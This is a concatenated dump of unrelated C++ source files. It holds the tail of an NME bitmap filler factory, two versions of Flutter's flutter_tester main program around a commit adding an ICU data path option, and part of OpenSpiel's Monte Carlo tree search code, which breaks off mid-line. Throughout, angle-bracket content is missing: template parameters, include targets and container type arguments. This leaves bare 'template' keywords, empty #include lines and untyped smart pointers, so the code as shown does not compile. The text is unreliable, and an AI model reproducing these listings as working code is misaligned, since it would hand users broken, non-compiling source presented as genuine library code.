pfHasAlpha)\r\n return new BitmapFiller(inFill);\r\n else\r\n return new BitmapFiller(inFill);\r\n}\r\n\r\ntemplate\r\nstatic Filler *CreatePerspective(GraphicsBitmapFill *inFill,bool inPerspective)\r\n{\r\n if (inPerspective)\r\n return CreateAlpha(inFill);\r\n else\r\n return CreateAlpha(inFill);\r\n \r\n}\r\n\r\ntemplate\r\nstatic Filler *CreateSmooth(GraphicsBitmapFill *inFill,bool inPerspective)\r\n{\r\n if (inFill->smooth)\r\n return CreatePerspective(inFill,inPerspective);\r\n else\r\n return CreatePerspective(inFill,inPerspective);\r\n}\r\n\r\nFiller *Filler::Create(GraphicsBitmapFill *inFill,bool inPerspective)\r\n{\r\n if (inFill->repeat)\r\n {\r\n if ( IsPOW2(inFill->bitmapData->Width()) && IsPOW2(inFill->bitmapData->Height()) )\r\n return CreateSmooth(inFill,inPerspective);\r\n else\r\n return CreateSmooth(inFill,inPerspective);\r\n }\r\n else\r\n return CreateSmooth(inFill,inPerspective);\r\n}\r\n\r\n\r\n} \/\/ end namespace nme\r\n\r\n<|endoftext|>"} {"text":"\/\/ Copyright 2013 The Flutter Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#define FML_USED_ON_EMBEDDER\n\n#include \n\n#include \"flutter\/assets\/asset_manager.h\"\n#include \"flutter\/assets\/directory_asset_bundle.h\"\n#include \"flutter\/fml\/file.h\"\n#include \"flutter\/fml\/make_copyable.h\"\n#include \"flutter\/fml\/message_loop.h\"\n#include \"flutter\/fml\/paths.h\"\n#include \"flutter\/fml\/synchronization\/waitable_event.h\"\n#include \"flutter\/fml\/task_runner.h\"\n#include \"flutter\/shell\/common\/platform_view.h\"\n#include \"flutter\/shell\/common\/rasterizer.h\"\n#include \"flutter\/shell\/common\/shell.h\"\n#include \"flutter\/shell\/common\/switches.h\"\n#include \"flutter\/shell\/common\/thread_host.h\"\n#include \"third_party\/dart\/runtime\/include\/bin\/dart_io_api.h\"\n\nnamespace shell {\n\n\/\/ Checks whether the engine's main Dart isolate has no pending work. If so,\n\/\/ then exit the given message loop.\nclass ScriptCompletionTaskObserver {\n public:\n ScriptCompletionTaskObserver(Shell& shell,\n fml::RefPtr main_task_runner,\n bool run_forever)\n : engine_(shell.GetEngine()),\n main_task_runner_(std::move(main_task_runner)),\n run_forever_(run_forever) {}\n\n int GetExitCodeForLastError() const {\n \/\/ Exit codes used by the Dart command line tool.\n const int kApiErrorExitCode = 253;\n const int kCompilationErrorExitCode = 254;\n const int kErrorExitCode = 255;\n switch (last_error_) {\n case tonic::kCompilationErrorType:\n return kCompilationErrorExitCode;\n case tonic::kApiErrorType:\n return kApiErrorExitCode;\n case tonic::kUnknownErrorType:\n return kErrorExitCode;\n default:\n return 0;\n }\n }\n\n void DidProcessTask() {\n if (engine_) {\n last_error_ = engine_->GetUIIsolateLastError();\n if (engine_->UIIsolateHasLivePorts()) {\n \/\/ The UI isolate still has live ports and is running. Nothing to do\n \/\/ just yet.\n return;\n }\n }\n\n if (run_forever_) {\n \/\/ We need this script to run forever. We have already recorded the last\n \/\/ error. Keep going.\n return;\n }\n\n if (!has_terminated) {\n \/\/ Only try to terminate the loop once.\n has_terminated = true;\n main_task_runner_->PostTask(\n []() { fml::MessageLoop::GetCurrent().Terminate(); });\n }\n }\n\n private:\n fml::WeakPtr engine_;\n fml::RefPtr main_task_runner_;\n bool run_forever_ = false;\n tonic::DartErrorHandleType last_error_ = tonic::kUnknownErrorType;\n bool has_terminated = false;\n\n FML_DISALLOW_COPY_AND_ASSIGN(ScriptCompletionTaskObserver);\n};\n\nint RunTester(const blink::Settings& settings, bool run_forever) {\n const auto thread_label = \"io.flutter.test\";\n\n fml::MessageLoop::EnsureInitializedForCurrentThread();\n\n auto current_task_runner = fml::MessageLoop::GetCurrent().GetTaskRunner();\n\n \/\/ Setup a single threaded test runner configuration.\n const blink::TaskRunners task_runners(thread_label, \/\/ dart thread label\n current_task_runner, \/\/ platform\n current_task_runner, \/\/ gpu\n current_task_runner, \/\/ ui\n current_task_runner \/\/ io\n );\n\n Shell::CreateCallback on_create_platform_view =\n [](Shell& shell) {\n return std::make_unique(shell, shell.GetTaskRunners());\n };\n\n Shell::CreateCallback on_create_rasterizer = [](Shell& shell) {\n return std::make_unique(shell.GetTaskRunners());\n };\n\n auto shell = Shell::Create(task_runners, \/\/\n settings, \/\/\n on_create_platform_view, \/\/\n on_create_rasterizer \/\/\n );\n\n if (!shell || !shell->IsSetup()) {\n FML_LOG(ERROR) << \"Could not setup the shell.\";\n return EXIT_FAILURE;\n }\n\n if (settings.application_kernel_asset.empty()) {\n FML_LOG(ERROR) << \"Dart kernel file not specified.\";\n return EXIT_FAILURE;\n }\n\n \/\/ Initialize default testing locales. There is no platform to\n \/\/ pass locales on the tester, so to retain expected locale behavior,\n \/\/ we emulate it in here by passing in 'en_US' and 'zh_CN' as test locales.\n const char* locale_json =\n \"{\\\"method\\\":\\\"setLocale\\\",\\\"args\\\":[\\\"en\\\",\\\"US\\\",\\\"\\\",\\\"\\\",\\\"zh\\\",\"\n \"\\\"CN\\\",\\\"\\\",\\\"\\\"]}\";\n std::vector locale_bytes(locale_json,\n locale_json + std::strlen(locale_json));\n fml::RefPtr response;\n shell->GetPlatformView()->DispatchPlatformMessage(\n fml::MakeRefCounted(\"flutter\/localization\",\n locale_bytes, response));\n\n std::initializer_list protection = {\n fml::FileMapping::Protection::kRead};\n auto main_dart_file_mapping = std::make_unique(\n fml::OpenFile(\n fml::paths::AbsolutePath(settings.application_kernel_asset).c_str(),\n false, fml::FilePermission::kRead),\n protection);\n\n auto isolate_configuration =\n IsolateConfiguration::CreateForKernel(std::move(main_dart_file_mapping));\n\n if (!isolate_configuration) {\n FML_LOG(ERROR) << \"Could create isolate configuration.\";\n return EXIT_FAILURE;\n }\n\n auto asset_manager = std::make_shared();\n asset_manager->PushBack(std::make_unique(\n fml::Duplicate(settings.assets_dir)));\n asset_manager->PushBack(\n std::make_unique(fml::OpenDirectory(\n settings.assets_path.c_str(), false, fml::FilePermission::kRead)));\n\n RunConfiguration run_configuration(std::move(isolate_configuration),\n std::move(asset_manager));\n\n \/\/ The script completion task observer that will be installed on the UI thread\n \/\/ that watched if the engine has any live ports.\n ScriptCompletionTaskObserver completion_observer(\n *shell, \/\/ a valid shell\n fml::MessageLoop::GetCurrent()\n .GetTaskRunner(), \/\/ the message loop to terminate\n run_forever \/\/ should the exit be ignored\n );\n\n bool engine_did_run = false;\n\n fml::AutoResetWaitableEvent sync_run_latch;\n fml::TaskRunner::RunNowOrPostTask(\n shell->GetTaskRunners().GetUITaskRunner(),\n fml::MakeCopyable([&sync_run_latch, &completion_observer,\n engine = shell->GetEngine(),\n config = std::move(run_configuration),\n &engine_did_run]() mutable {\n fml::MessageLoop::GetCurrent().AddTaskObserver(\n reinterpret_cast(&completion_observer),\n [&completion_observer]() { completion_observer.DidProcessTask(); });\n if (engine->Run(std::move(config)) !=\n shell::Engine::RunStatus::Failure) {\n engine_did_run = true;\n\n blink::ViewportMetrics metrics;\n metrics.device_pixel_ratio = 3.0;\n metrics.physical_width = 2400; \/\/ 800 at 3x resolution\n metrics.physical_height = 1800; \/\/ 600 at 3x resolution\n engine->SetViewportMetrics(metrics);\n\n } else {\n FML_DLOG(ERROR) << \"Could not launch the engine with configuration.\";\n }\n sync_run_latch.Signal();\n }));\n sync_run_latch.Wait();\n\n \/\/ Run the message loop and wait for the script to do its thing.\n fml::MessageLoop::GetCurrent().Run();\n\n \/\/ Cleanup the completion observer synchronously as it is living on the\n \/\/ stack.\n fml::AutoResetWaitableEvent latch;\n fml::TaskRunner::RunNowOrPostTask(\n shell->GetTaskRunners().GetUITaskRunner(),\n [&latch, &completion_observer] {\n fml::MessageLoop::GetCurrent().RemoveTaskObserver(\n reinterpret_cast(&completion_observer));\n latch.Signal();\n });\n latch.Wait();\n\n if (!engine_did_run) {\n \/\/ If the engine itself didn't have a chance to run, there is no point in\n \/\/ asking it if there was an error. Signal a failure unconditionally.\n return EXIT_FAILURE;\n }\n\n return completion_observer.GetExitCodeForLastError();\n}\n\n} \/\/ namespace shell\n\nint main(int argc, char* argv[]) {\n dart::bin::SetExecutableName(argv[0]);\n dart::bin::SetExecutableArguments(argc - 1, argv);\n\n auto command_line = fml::CommandLineFromArgcArgv(argc, argv);\n\n if (command_line.HasOption(shell::FlagForSwitch(shell::Switch::Help))) {\n shell::PrintUsage(\"flutter_tester\");\n return EXIT_SUCCESS;\n }\n\n auto settings = shell::SettingsFromCommandLine(command_line);\n if (command_line.positional_args().size() > 0) {\n \/\/ The tester may not use the switch for the main dart file path. Specifying\n \/\/ it as a positional argument instead.\n settings.application_kernel_asset = command_line.positional_args()[0];\n }\n\n if (settings.application_kernel_asset.size() == 0) {\n FML_LOG(ERROR) << \"Dart kernel file not specified.\";\n return EXIT_FAILURE;\n }\n\n settings.icu_data_path = \"icudtl.dat\";\n\n \/\/ The tools that read logs get confused if there is a log tag specified.\n settings.log_tag = \"\";\n\n settings.task_observer_add = [](intptr_t key, fml::closure callback) {\n fml::MessageLoop::GetCurrent().AddTaskObserver(key, std::move(callback));\n };\n\n settings.task_observer_remove = [](intptr_t key) {\n fml::MessageLoop::GetCurrent().RemoveTaskObserver(key);\n };\n\n return shell::RunTester(\n settings,\n command_line.HasOption(shell::FlagForSwitch(shell::Switch::RunForever)));\n}\n[flutter_tester] Accept --icu-data-file-path (#8374)\/\/ Copyright 2013 The Flutter Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#define FML_USED_ON_EMBEDDER\n\n#include \n\n#include \"flutter\/assets\/asset_manager.h\"\n#include \"flutter\/assets\/directory_asset_bundle.h\"\n#include \"flutter\/fml\/file.h\"\n#include \"flutter\/fml\/make_copyable.h\"\n#include \"flutter\/fml\/message_loop.h\"\n#include \"flutter\/fml\/paths.h\"\n#include \"flutter\/fml\/synchronization\/waitable_event.h\"\n#include \"flutter\/fml\/task_runner.h\"\n#include \"flutter\/shell\/common\/platform_view.h\"\n#include \"flutter\/shell\/common\/rasterizer.h\"\n#include \"flutter\/shell\/common\/shell.h\"\n#include \"flutter\/shell\/common\/switches.h\"\n#include \"flutter\/shell\/common\/thread_host.h\"\n#include \"third_party\/dart\/runtime\/include\/bin\/dart_io_api.h\"\n\nnamespace shell {\n\n\/\/ Checks whether the engine's main Dart isolate has no pending work. If so,\n\/\/ then exit the given message loop.\nclass ScriptCompletionTaskObserver {\n public:\n ScriptCompletionTaskObserver(Shell& shell,\n fml::RefPtr main_task_runner,\n bool run_forever)\n : engine_(shell.GetEngine()),\n main_task_runner_(std::move(main_task_runner)),\n run_forever_(run_forever) {}\n\n int GetExitCodeForLastError() const {\n \/\/ Exit codes used by the Dart command line tool.\n const int kApiErrorExitCode = 253;\n const int kCompilationErrorExitCode = 254;\n const int kErrorExitCode = 255;\n switch (last_error_) {\n case tonic::kCompilationErrorType:\n return kCompilationErrorExitCode;\n case tonic::kApiErrorType:\n return kApiErrorExitCode;\n case tonic::kUnknownErrorType:\n return kErrorExitCode;\n default:\n return 0;\n }\n }\n\n void DidProcessTask() {\n if (engine_) {\n last_error_ = engine_->GetUIIsolateLastError();\n if (engine_->UIIsolateHasLivePorts()) {\n \/\/ The UI isolate still has live ports and is running. Nothing to do\n \/\/ just yet.\n return;\n }\n }\n\n if (run_forever_) {\n \/\/ We need this script to run forever. We have already recorded the last\n \/\/ error. Keep going.\n return;\n }\n\n if (!has_terminated) {\n \/\/ Only try to terminate the loop once.\n has_terminated = true;\n main_task_runner_->PostTask(\n []() { fml::MessageLoop::GetCurrent().Terminate(); });\n }\n }\n\n private:\n fml::WeakPtr engine_;\n fml::RefPtr main_task_runner_;\n bool run_forever_ = false;\n tonic::DartErrorHandleType last_error_ = tonic::kUnknownErrorType;\n bool has_terminated = false;\n\n FML_DISALLOW_COPY_AND_ASSIGN(ScriptCompletionTaskObserver);\n};\n\nint RunTester(const blink::Settings& settings, bool run_forever) {\n const auto thread_label = \"io.flutter.test\";\n\n fml::MessageLoop::EnsureInitializedForCurrentThread();\n\n auto current_task_runner = fml::MessageLoop::GetCurrent().GetTaskRunner();\n\n \/\/ Setup a single threaded test runner configuration.\n const blink::TaskRunners task_runners(thread_label, \/\/ dart thread label\n current_task_runner, \/\/ platform\n current_task_runner, \/\/ gpu\n current_task_runner, \/\/ ui\n current_task_runner \/\/ io\n );\n\n Shell::CreateCallback on_create_platform_view =\n [](Shell& shell) {\n return std::make_unique(shell, shell.GetTaskRunners());\n };\n\n Shell::CreateCallback on_create_rasterizer = [](Shell& shell) {\n return std::make_unique(shell.GetTaskRunners());\n };\n\n auto shell = Shell::Create(task_runners, \/\/\n settings, \/\/\n on_create_platform_view, \/\/\n on_create_rasterizer \/\/\n );\n\n if (!shell || !shell->IsSetup()) {\n FML_LOG(ERROR) << \"Could not setup the shell.\";\n return EXIT_FAILURE;\n }\n\n if (settings.application_kernel_asset.empty()) {\n FML_LOG(ERROR) << \"Dart kernel file not specified.\";\n return EXIT_FAILURE;\n }\n\n \/\/ Initialize default testing locales. There is no platform to\n \/\/ pass locales on the tester, so to retain expected locale behavior,\n \/\/ we emulate it in here by passing in 'en_US' and 'zh_CN' as test locales.\n const char* locale_json =\n \"{\\\"method\\\":\\\"setLocale\\\",\\\"args\\\":[\\\"en\\\",\\\"US\\\",\\\"\\\",\\\"\\\",\\\"zh\\\",\"\n \"\\\"CN\\\",\\\"\\\",\\\"\\\"]}\";\n std::vector locale_bytes(locale_json,\n locale_json + std::strlen(locale_json));\n fml::RefPtr response;\n shell->GetPlatformView()->DispatchPlatformMessage(\n fml::MakeRefCounted(\"flutter\/localization\",\n locale_bytes, response));\n\n std::initializer_list protection = {\n fml::FileMapping::Protection::kRead};\n auto main_dart_file_mapping = std::make_unique(\n fml::OpenFile(\n fml::paths::AbsolutePath(settings.application_kernel_asset).c_str(),\n false, fml::FilePermission::kRead),\n protection);\n\n auto isolate_configuration =\n IsolateConfiguration::CreateForKernel(std::move(main_dart_file_mapping));\n\n if (!isolate_configuration) {\n FML_LOG(ERROR) << \"Could create isolate configuration.\";\n return EXIT_FAILURE;\n }\n\n auto asset_manager = std::make_shared();\n asset_manager->PushBack(std::make_unique(\n fml::Duplicate(settings.assets_dir)));\n asset_manager->PushBack(\n std::make_unique(fml::OpenDirectory(\n settings.assets_path.c_str(), false, fml::FilePermission::kRead)));\n\n RunConfiguration run_configuration(std::move(isolate_configuration),\n std::move(asset_manager));\n\n \/\/ The script completion task observer that will be installed on the UI thread\n \/\/ that watched if the engine has any live ports.\n ScriptCompletionTaskObserver completion_observer(\n *shell, \/\/ a valid shell\n fml::MessageLoop::GetCurrent()\n .GetTaskRunner(), \/\/ the message loop to terminate\n run_forever \/\/ should the exit be ignored\n );\n\n bool engine_did_run = false;\n\n fml::AutoResetWaitableEvent sync_run_latch;\n fml::TaskRunner::RunNowOrPostTask(\n shell->GetTaskRunners().GetUITaskRunner(),\n fml::MakeCopyable([&sync_run_latch, &completion_observer,\n engine = shell->GetEngine(),\n config = std::move(run_configuration),\n &engine_did_run]() mutable {\n fml::MessageLoop::GetCurrent().AddTaskObserver(\n reinterpret_cast(&completion_observer),\n [&completion_observer]() { completion_observer.DidProcessTask(); });\n if (engine->Run(std::move(config)) !=\n shell::Engine::RunStatus::Failure) {\n engine_did_run = true;\n\n blink::ViewportMetrics metrics;\n metrics.device_pixel_ratio = 3.0;\n metrics.physical_width = 2400; \/\/ 800 at 3x resolution\n metrics.physical_height = 1800; \/\/ 600 at 3x resolution\n engine->SetViewportMetrics(metrics);\n\n } else {\n FML_DLOG(ERROR) << \"Could not launch the engine with configuration.\";\n }\n sync_run_latch.Signal();\n }));\n sync_run_latch.Wait();\n\n \/\/ Run the message loop and wait for the script to do its thing.\n fml::MessageLoop::GetCurrent().Run();\n\n \/\/ Cleanup the completion observer synchronously as it is living on the\n \/\/ stack.\n fml::AutoResetWaitableEvent latch;\n fml::TaskRunner::RunNowOrPostTask(\n shell->GetTaskRunners().GetUITaskRunner(),\n [&latch, &completion_observer] {\n fml::MessageLoop::GetCurrent().RemoveTaskObserver(\n reinterpret_cast(&completion_observer));\n latch.Signal();\n });\n latch.Wait();\n\n if (!engine_did_run) {\n \/\/ If the engine itself didn't have a chance to run, there is no point in\n \/\/ asking it if there was an error. Signal a failure unconditionally.\n return EXIT_FAILURE;\n }\n\n return completion_observer.GetExitCodeForLastError();\n}\n\n} \/\/ namespace shell\n\nint main(int argc, char* argv[]) {\n dart::bin::SetExecutableName(argv[0]);\n dart::bin::SetExecutableArguments(argc - 1, argv);\n\n auto command_line = fml::CommandLineFromArgcArgv(argc, argv);\n\n if (command_line.HasOption(shell::FlagForSwitch(shell::Switch::Help))) {\n shell::PrintUsage(\"flutter_tester\");\n return EXIT_SUCCESS;\n }\n\n auto settings = shell::SettingsFromCommandLine(command_line);\n if (command_line.positional_args().size() > 0) {\n \/\/ The tester may not use the switch for the main dart file path. Specifying\n \/\/ it as a positional argument instead.\n settings.application_kernel_asset = command_line.positional_args()[0];\n }\n\n if (settings.application_kernel_asset.size() == 0) {\n FML_LOG(ERROR) << \"Dart kernel file not specified.\";\n return EXIT_FAILURE;\n }\n\n if (settings.icu_data_path.size() == 0) {\n settings.icu_data_path = \"icudtl.dat\";\n }\n\n \/\/ The tools that read logs get confused if there is a log tag specified.\n settings.log_tag = \"\";\n\n settings.task_observer_add = [](intptr_t key, fml::closure callback) {\n fml::MessageLoop::GetCurrent().AddTaskObserver(key, std::move(callback));\n };\n\n settings.task_observer_remove = [](intptr_t key) {\n fml::MessageLoop::GetCurrent().RemoveTaskObserver(key);\n };\n\n return shell::RunTester(\n settings,\n command_line.HasOption(shell::FlagForSwitch(shell::Switch::RunForever)));\n}\n<|endoftext|>"} {"text":"\/\/ Copyright 2019 DeepMind Technologies Ltd. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"open_spiel\/algorithms\/mcts.h\"\n\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"open_spiel\/abseil-cpp\/absl\/algorithm\/container.h\"\n#include \"open_spiel\/abseil-cpp\/absl\/random\/uniform_int_distribution.h\"\n#include \"open_spiel\/abseil-cpp\/absl\/strings\/str_cat.h\"\n#include \"open_spiel\/abseil-cpp\/absl\/strings\/str_format.h\"\n#include \"open_spiel\/abseil-cpp\/absl\/time\/clock.h\"\n#include \"open_spiel\/abseil-cpp\/absl\/time\/time.h\"\n#include \"open_spiel\/spiel.h\"\n#include \"open_spiel\/spiel_utils.h\"\n\nnamespace open_spiel {\nnamespace algorithms {\n\n\/\/ Return the memory use of a vector. Useful to track and limit memory use when\n\/\/ running for a long time and build a big tree (eg to solve a game).\ntemplate \nconstexpr inline int VectorMemory(const std::vector& vec) {\n return sizeof(T) * vec.capacity();\n}\n\nstd::vector RandomRolloutEvaluator::Evaluate(const State& state) {\n std::vector result;\n for (int i = 0; i < n_rollouts_; ++i) {\n std::unique_ptr working_state = state.Clone();\n while (!working_state->IsTerminal()) {\n if (working_state->IsChanceNode()) {\n ActionsAndProbs outcomes = working_state->ChanceOutcomes();\n Action action =\n SampleAction(outcomes,\n std::uniform_real_distribution(0.0, 1.0)(rng_))\n .first;\n working_state->ApplyAction(action);\n } else {\n std::vector actions = working_state->LegalActions();\n absl::uniform_int_distribution dist(0, actions.size() - 1);\n int index = dist(rng_);\n working_state->ApplyAction(actions[index]);\n }\n }\n\n std::vector returns = working_state->Returns();\n if (result.empty()) {\n result.swap(returns);\n } else {\n SPIEL_CHECK_EQ(returns.size(), result.size());\n for (int i = 0; i < result.size(); ++i) {\n result[i] += returns[i];\n }\n }\n }\n for (int i = 0; i < result.size(); ++i) {\n result[i] \/= n_rollouts_;\n }\n return result;\n}\n\nActionsAndProbs RandomRolloutEvaluator::Prior(const State& state) {\n \/\/ Returns equal probability for all actions.\n if (state.IsChanceNode()) {\n return state.ChanceOutcomes();\n } else {\n std::vector legal_actions = state.LegalActions();\n ActionsAndProbs prior;\n prior.reserve(legal_actions.size());\n for (const Action& action : legal_actions) {\n prior.emplace_back(action, 1.0 \/ legal_actions.size());\n }\n return prior;\n }\n}\n\n\/\/ UCT value of given child\ndouble SearchNode::UCTValue(int parent_explore_count, double uct_c) const {\n if (!outcome.empty()) {\n return outcome[player];\n }\n\n if (explore_count == 0) return std::numeric_limits::infinity();\n\n \/\/ The \"greedy-value\" of choosing a given child is always with respect to\n \/\/ the current player for this node.\n return total_reward \/ explore_count +\n uct_c * std::sqrt(std::log(parent_explore_count) \/ explore_count);\n}\n\ndouble SearchNode::PUCTValue(int parent_explore_count, double uct_c) const {\n \/\/ Returns the PUCT value of this node.\n if (!outcome.empty()) {\n return outcome[player];\n }\n\n return ((explore_count != 0 ? total_reward \/ explore_count : 0) +\n uct_c * prior * std::sqrt(parent_explore_count) \/\n (explore_count + 1));\n}\n\nbool SearchNode::CompareFinal(const SearchNode& b) const {\n double out = (outcome.empty() ? 0 : outcome[player]);\n double out_b = (b.outcome.empty() ? 0 : b.outcome[b.player]);\n if (out != out_b) {\n return out < out_b;\n }\n if (explore_count != b.explore_count) {\n return explore_count < b.explore_count;\n }\n return total_reward < b.total_reward;\n}\n\nconst SearchNode& SearchNode::BestChild() const {\n \/\/ Returns the best action from this node, either proven or most visited.\n \/\/\n \/\/ This ordering leads to choosing:\n \/\/ - Highest proven score > 0 over anything else, including a promising but\n \/\/ unproven action.\n \/\/ - A proven draw only if it has higher exploration than others that are\n \/\/ uncertain, or the others are losses.\n \/\/ - Uncertain action with most exploration over loss of any difficulty\n \/\/ - Hardest loss if everything is a loss\n \/\/ - Highest expected reward if explore counts are equal (unlikely).\n \/\/ - Longest win, if multiple are proven (unlikely due to early stopping).\n return *std::max_element(children.begin(), children.end(),\n [](const SearchNode& a, const SearchNode& b) {\n return a.CompareFinal(b);\n });\n}\n\nstd::string SearchNode::ChildrenStr(const State& state) const {\n std::string out;\n if (!children.empty()) {\n std::vector refs; \/\/ Sort a list of refs, not a copy.\n refs.reserve(children.size());\n for (const SearchNode& child : children) {\n refs.push_back(&child);\n }\n std::sort(refs.begin(), refs.end(),\n [](const SearchNode* a, const SearchNode* b) {\n return b->CompareFinal(*a);\n });\n for (const SearchNode* child : refs) {\n absl::StrAppend(&out, child->ToString(state), \"\\n\");\n }\n }\n return out;\n}\n\nstd::string SearchNode::ToString(const State& state) const {\n return absl::StrFormat(\n \"%6s: player: %d, prior: %5.3f, value: %6.3f, sims: %5d, outcome: %s, \"\n \"%3d children\",\n (action != kInvalidAction ? state.ActionToString(player, action)\n : \"none\"),\n player, prior, (explore_count ? total_reward \/ explore_count : 0.),\n explore_count,\n (outcome.empty()\n ? \"none\"\n : absl::StrFormat(\"%4.1f\",\n outcome[player == kChancePlayerId ? 0 : player])),\n children.size());\n}\n\nstd::vector dirichlet_noise(int count, double alpha,\n std::mt19937* rng) {\n auto noise = std::vector{};\n noise.reserve(count);\n\n std::gamma_distribution gamma(alpha, 1.0);\n for (int i = 0; i < count; ++i) {\n noise.emplace_back(gamma(*rng));\n }\n\n double sum = absl::c_accumulate(noise, 0.0);\n for (double& v : noise) {\n v \/= sum;\n }\n return noise;\n}\n\nMCTSBot::MCTSBot(const Game& game, Evaluator* evaluator,\n double uct_c, int max_simulations, int64_t max_memory_mb,\n bool solve, int seed, bool verbose,\n ChildSelectionPolicy child_selection_policy,\n double dirichlet_alpha, double dirichlet_epsilon)\n : uct_c_{uct_c},\n max_simulations_{max_simulations},\n max_memory_(max_memory_mb << 20), \/\/ megabytes -> bytes\n verbose_(verbose),\n solve_(solve),\n max_utility_(game.MaxUtility()),\n dirichlet_alpha_(dirichlet_alpha),\n dirichlet_epsilon_(dirichlet_epsilon),\n rng_(seed),\n child_selection_policy_(child_selection_policy),\n evaluator_{evaluator} {\n GameType game_type = game.GetType();\n if (game_type.reward_model != GameType::RewardModel::kTerminal)\n SpielFatalError(\"Game must have terminal rewards.\");\n if (game_type.dynamics != GameType::Dynamics::kSequential)\n SpielFatalError(\"Game must have sequential turns.\");\n}\n\nAction MCTSBot::Step(const State& state) {\n absl::Time start = absl::Now();\n std::unique_ptr root = MCTSearch(state);\n const SearchNode& best = root->BestChild();\n\n if (verbose_) {\n double seconds = absl::ToDoubleSeconds(absl::Now() - start);\n std::cerr\n << absl::StrFormat(\n \"Finished %d sims in %.3f secs, %.1f sims\/s, tree size: %d mb.\",\n root->explore_count, seconds, (root->explore_count \/ seconds),\n memory_used_ \/ (1 << 20))\n << std::endl;\n std::cerr << \"Root:\" << std::endl;\n std::cerr << root->ToString(state) << std::endl;\n std::cerr << \"Children:\" << std::endl;\n std::cerr << root->ChildrenStr(state) << std::endl;\n if (!best.children.empty()) {\n std::unique_ptr chosen_state = state.Clone();\n chosen_state->ApplyAction(best.action);\n std::cerr << \"Children of chosen:\" << std::endl;\n std::cerr << best.ChildrenStr(*chosen_state) << std::endl;\n }\n }\n\n return best.action;\n}\n\nstd::pair MCTSBot::StepWithPolicy(const State& state) {\n Action action = Step(state);\n return {{{action, 1.}}, action};\n}\n\nstd::unique_ptr MCTSBot::ApplyTreePolicy(\n SearchNode* root, const State& state,\n std::vector* visit_path) {\n visit_path->push_back(root);\n std::unique_ptr working_state = state.Clone();\n SearchNode* current_node = root;\n while (!working_state->IsTerminal() && current_node->explore_count > 0) {\n if (current_node->children.empty()) {\n \/\/ For a new node, initialize its state, then choose a child as normal.\n ActionsAndProbs legal_actions = evaluator_->Prior(*working_state);\n if (current_node == root && dirichlet_alpha_ > 0) {\n std::vector noise =\n dirichlet_noise(legal_actions.size(), dirichlet_alpha_, &rng_);\n for (int i = 0; i < legal_actions.size(); i++) {\n legal_actions[i].second =\n (1 - dirichlet_epsilon_) * legal_actions[i].second +\n dirichlet_epsilon_ * noise[i];\n }\n }\n \/\/ Reduce bias from move generation order.\n std::shuffle(legal_actions.begin(), legal_actions.end(), rng_);\n Player player = working_state->CurrentPlayer();\n current_node->children.reserve(legal_actions.size());\n for (auto [action, prior] : legal_actions) {\n current_node->children.emplace_back(action, player, prior);\n }\n memory_used_ += VectorMemory(legal_actions);\n }\n\n SearchNode* chosen_child = nullptr;\n if (working_state->IsChanceNode()) {\n \/\/ For chance nodes, rollout according to chance node's probability\n \/\/ distribution\n Action chosen_action =\n SampleAction(working_state->ChanceOutcomes(),\n std::uniform_real_distribution(0.0, 1.0)(rng_))\n .first;\n\n for (SearchNode& child : current_node->children) {\n if (child.action == chosen_action) {\n chosen_child = &child;\n break;\n }\n }\n } else {\n \/\/ Otherwise choose node with largest UCT value.\n double max_value = -std::numeric_limits::infinity();\n for (SearchNode& child : current_node->children) {\n double val;\n switch (child_selection_policy_) {\n case ChildSelectionPolicy::UCT:\n val = child.UCTValue(current_node->explore_count, uct_c_);\n break;\n case ChildSelectionPolicy::PUCT:\n val = child.PUCTValue(current_node->explore_count, uct_c_);\n break;\n }\n if (val > max_value) {\n max_value = val;\n chosen_child = &child;\n }\n }\n }\n\n working_state->ApplyAction(chosen_child->action);\n current_node = chosen_child;\n visit_path->push_back(current_node);\n }\n\n return working_state;\n}\n\nstd::unique_ptr MCTSBot::MCTSearch(const State& state) {\n Player player_id = state.CurrentPlayer();\n memory_used_ = 0;\n auto root = std::make_unique(kInvalidAction, player_id, 1);\n std::vector visit_path;\n std::vector returns;\n visit_path.reserve(64);\n for (int i = 0; i < max_simulations_; ++i) {\n visit_path.clear();\n returns.clear();\n\n std::unique_ptr working_state =\n ApplyTreePolicy(root.get(), state, &visit_path);\n\n bool solved;\n if (working_state->IsTerminal()) {\n returns = working_state->Returns();\n visit_path[visit_path.size() - 1]->outcome = returns;\n memory_used_ += VectorMemory(returns);\n solved = solve_;\n } else {\n returns = evaluator_->Evaluate(*working_state);\n solved = false;\n }\n\n \/\/ Propagate values back.\n for (auto it = visit_path.rbegin(); it != visit_path.rend(); ++it) {\n SearchNode* node = *it;\n\n node->total_reward +=\n returns[node->player == kChancePlayerId ? player_id : node->player];\n node->explore_count += 1;\n\n \/\/ Back up solved results as well.\n if (solved && !node->children.empty()) {\n Player player = node->children[0].player;\n if (player == kChancePlayerId) {\n \/\/ Only back up chance nodes if all have the same outcome.\n \/\/ An alternative would be to back up the weighted average of\n \/\/ outcomes if all children are solved, but that is less clear.\n const std::vector& outcome = node->children[0].outcome;\n if (!outcome.empty() &&\n std::all_of(node->children.begin() + 1, node->children.end(),\n [&outcome](const SearchNode& c) {\n return c.outcome == outcome;\n })) {\n node->outcome = outcome;\n memory_used_ += VectorMemory(node->outcome);\n } else {\n solved = false;\n }\n } else {\n \/\/ If any have max utility (won?), or all children are solved,\n \/\/ choose the one best for the player choosing.\n const SearchNode* best = nullptr;\n bool all_solved = true;\n for (const SearchNode& child : node->children) {\n if (child.outcome.empty()) {\n all_solved = false;\n } else if (best == nullptr ||\n child.outcome[player] > best->outcome[player]) {\n best = &child;\n }\n }\n if (best != nullptr &&\n (all_solved || best->outcome[player] == max_utility_)) {\n node->outcome = best->outcome;\n memory_used_ += VectorMemory(node->outcome);\n } else {\n solved = false;\n }\n }\n }\n }\n\n if (!root->outcome.empty() || \/\/ Full game tree is 